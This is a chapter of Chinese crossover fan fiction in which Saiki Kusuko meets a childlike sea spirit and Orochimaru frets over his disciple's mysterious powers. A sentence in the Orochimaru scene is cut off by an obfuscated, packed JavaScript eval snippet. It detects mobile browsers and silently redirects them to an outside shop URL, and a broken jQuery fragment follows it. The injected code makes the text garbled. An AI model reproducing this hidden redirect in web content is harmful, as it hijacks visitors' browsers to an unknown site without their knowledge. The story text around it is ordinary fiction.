‘好心的神?是在说我吗?’
她齐木楠子可从来不是什么好心的神啊,至少看到面前女孩的样子,她就不想要给予任何帮助了哎喂。
“你叫什么?是叫琥珀是吗?”她面无表情问。
“实现……琥珀……愿望,神。”
楠子挑挑眉,故意道:“你的愿望是成神?”
那女孩根本没察觉楠子的调侃,天真道:“神……实现……琥珀愿望。”
“你的愿望是什么?”
“救……救……儿子,女儿。”
这个灵只有七八岁的模样,实在很难令人相信,她居然把那些比她大许多的渔民称作儿子和女儿。
是在模仿其他的渔民吗?还是怎么回事?
说实话,楠子也能理解,许多神话中的神都具备母亲的形象,那都是因为创造出神明的人希望对方拥有慈爱的特性,像是母亲一样包容。
但是这个海灵呢?
楠子感受得到,她拥有着纯粹的灵魂,想要拯救所谓的“孩子”,也是因为岸上渔民们的祈愿。
但楠子的思维却理智而冷酷。
只有恩惠却没有严酷的手段,是无法成为一个合格的神的。
因为只拥有前者,滋生的便只有懒惰和贪婪。
要说她为什么会有这样的想法……
‘那绝对都是大蛇丸师父的错!’这样一想,楠子便心安理得。
“就算我救下了这些孩子,未来他们也还是有可能会受伤哦,我不喜欢做这样的无用功。”
那女孩露出懵懂的神情,歪了歪头,继续传出单纯又微弱的声音:“救……救……孩子。”
‘根本还什么都不懂嘛。’
楠子摇了摇头,干脆不再与她沟通,转而望向山洞的方向。
那是一座漆黑的礁石,就像是海面的浮冰,有着上小下大的结构,深深扎根于海底,就像是一座倒置的阴森古堡。
远远望去,若不是她拥有异常的视力,恐怕会真的什么都看不见。
她早就知道自己的师傅大蛇丸一直在做些坏事,只是不清楚对方究竟在研究些什么。
这一次,她原本只打算伪装受伤,借机来打探一下大蛇丸的作为,顺便给他一个测试,之后再做出最终的决定。
是的,她早就预料到了,大蛇丸偷偷摸摸,一定是在做她所不能接受的事。
那么,究竟是什么呢?
挑拨战争?破坏木叶的安宁,亦或者是……人体实验?
想到这里,楠子的睫毛就是一颤。
她虽然冷漠,但也不可能放任邪恶滋生。
如果大蛇丸真的做出那样的事,她也只能……
‘呀嘞呀嘞,这才是我一直惫懒到不想行动的原因吗?’
楠子露出苦笑。
亲手杀死大蛇丸?
迄今为止,她还没有收取一个忍者的性命呢。
结果,第一个死在她手上的,就会是她亲爱的老师吗?
楠子看着自己白皙纤细的手。
这双手看起来根本不像是能杀人的手,可楠子知道,只要她一个想法,大蛇丸的头就会像是烟花一样“砰”得爆开。
“不要,伤心。”细嫩的声音传入大脑,那水母一样的手试探着握住了她的。
“我没有伤心。”楠子板起了面孔,看着那女孩没有五官的脸,对方却只是歪头,像是不明白她在说些什么。
‘算了,和她根本说不明白。’楠子她摇了摇头,问:“你有没有可以信任的人?比如经常供奉你的人,或是你熟知的人?”
“救……救……孩子,不……伤心。”女孩依旧机械地重复着。
楠子耐心解释:“如果这片土地没有能守护他们的人,这个国家往后依旧会遭受侵扰。到那时,需要牺牲的就不只是一批少年儿童,每隔数月、每过一段时日,都会有人遭遇洗劫。”
“琥珀……守护。”
“可你现在连好好回应我的能力都没有。”楠子语气冷淡。
“守护……救……孩子。”
楠子心中无奈,像是这样单纯的孩子,成为海灵,也只不过会受人利用。
就算楠子不用自己的超级大脑,都能预想出数十种悲剧呢。
她的神情认真了几分,“我是认真的,等你真正拥有自己意志的时候,再来找我吧。只不过到那时,琥珀,你或许已经消失了。”
“琥珀……消失?”
楠子垂下了眼,手指穿过那海葵一般的头发。
在这个世界上,没有人知道,她其实只凭自己的意志,就完全可以直接定义一个“生物”,并赐予他\她“意识”,就像是停留在雨隐村的地标“初号机”和“火龙”。
可她知道自己已经足够傲慢,并不想要用那样的方式,让自己向着“神”更迈进一步。
因为她知道,那样的她根本不可能成为一个慈爱的母神,反而会成为一个抖S之神也说不定。
而面前的灵有着自己的意识,若是她强行催化出新的意识,那就相当于把琥珀原本的意识磨灭,转而用它的能量塑造出一个新神。
新生的神会拥有她齐木楠子所设定的性格、面貌、任务,这不是琥珀,而是她“偷窃”琥珀力量填装的人偶。
大人,或者说强者,不能因为自觉自己懂得更多,力量更强,就强行扭转他人的意识。
无论是她的骄傲,还是她聪慧的大脑,都不允许她做出这样的蠢事。
因为这个世界上,没有人能节制她,只有她自己。
抚摸着琥珀的脑袋,她说:“只有你自己进化出属于你的意志,那才是真正的你。如果是借由我的力量……”
看着女孩懵懂茫然的脸庞,楠子忽而轻叹一声:“算了,我跟你说这些做什么。如今的你,根本没法做出自己的选择啊。”
回应她的,只有女孩裙摆摇动时流动的海浪。
-----------------
海之国的地下基地。
“快点,找到了吗?”大蛇丸的语气里终于透出一丝焦急。
“找不到,完全探测不到她的气息!”额头宽大的疯狂科学家诧异看向身旁的合作者,“大蛇丸大人,这位弟子,对您很重要吗?”
明亮的灯光反射在他的大脑门上,显露出了几分“智慧”的光芒。
注意到了他的神情,大蛇丸冷静了几分,轻笑一声:“算不上,只是让她逃走的话,会很麻烦。”
“这样啊。”那名疯狂科学家点了点头,“原来如此。那我们不如派遣海兽前去抓捕,至少也要找到她的尸体。”
‘这个傻子!’
大蛇丸瞪着他,如同在看一个蠢货。
他早
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759959|202822||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知道楠子的实力绝非寻常,他又不是个傻子!
早在收齐木楠子为徒之初,他就察觉到了异样。
齐木楠子在下棋方面,拥有极致敏锐的观察力与超强的推演能力,总能提前预判敌人的下一步动作。
起初,大蛇丸只当她是天赋异禀,可相处越久,越发觉得不对劲。
哪怕只是对视一眼,或是心底刚萌生念头,就会被她尽数洞悉,这未免太过匪夷所思了。
一次罢了,两次罢了……
可她根本只是随意遮掩了一下,根本没有用心!
这大概也源于他这位弟子的特殊性格。
楠子看似冷漠低调,实则骨子里极为骄傲,一双带着冷意的眼睛,时不时就会露出鄙夷的神情。
要说大蛇丸是怎么看出来的,只因为他大蛇丸也是这样的天才啊!
可是,和大蛇丸不同,她从不屑刻意隐藏自身的异常,或者说,只在自己认定的安全范围内收敛锋芒。
一旦无人留意,或是没有监控窥探,她便会肆无忌惮地动用自身的“血继限界”偷懒。
是的。
大蛇丸始终认定,这绝对是一种极为特殊的血继限界!
他无数次想要获取她的血液、组织等样本用于研究,可完全做不到啊。
按理说,这并非难事,忍者修行难免受伤,最会流血。
可他的弟子齐木楠子,体术平平、忍术也并不擅长,自拜师以来,竟从未受过半点伤。
哪怕是日常对练切磋,也始终完好无损。
啊啊,至于在雨隐村那次的受伤,大蛇丸也觉得那其中绝对有什么问题。
这般诡异的现状,周遭众人却从来没有怀疑过。
“你不觉得奇怪吗?”他曾问过身边的忍者。
“嗯?……大概是楠子有幸运女神的眷顾吧!”根本没看出楠子在让着自己的平庸忍者笑着应答。
绝望啦,真是绝望啦!
木叶三忍之一的大蛇丸大人,对根组织的新生代彻底绝望啦!
你们难道看不出来,你们的刀只是碰到她的衣角,她就顺势倒下了吗?
大蛇丸望着楠子训练的录像,眼底翻涌着对知识的渴望。
只要能得到楠子的血液、毛发或是任意身体组织,他的生物研究便能取得突破性进展,可他始终一无所获。
到头来,他只能这般偏执地盯着对方的相片。
只因但凡有人对楠子滋生半分恶意,哪怕只是心底的念想,都会被她瞬间察觉。
这早已不是单纯的幸运能够解释,更像是心灵感应,甚至是预知未来的可怖能力。
不过漫长的观察与研究并非毫无收获。
大蛇丸发现,将初代细胞与尾兽能量结合,或许能够克制齐木楠子的能力。
毕竟,那可是初代的力量啊!
如今他头上那看似滑稽的头箍,便是基于这个原理打造,交给红豆的特制针头,亦是同理。
那针管里封存的麻醉剂,剂量足以放倒二十头巨兽。
楠子会就此沉入海底殒命吗?
‘应该不会吧?’
大蛇丸的额角流下了冷汗,手也不自觉抓紧。
‘楠子,楠子……’心中呼唤着楠子的名字,此刻,他竟然也开始期望这位徒弟被幸运女神眷顾,好端端地活在这个世间啊。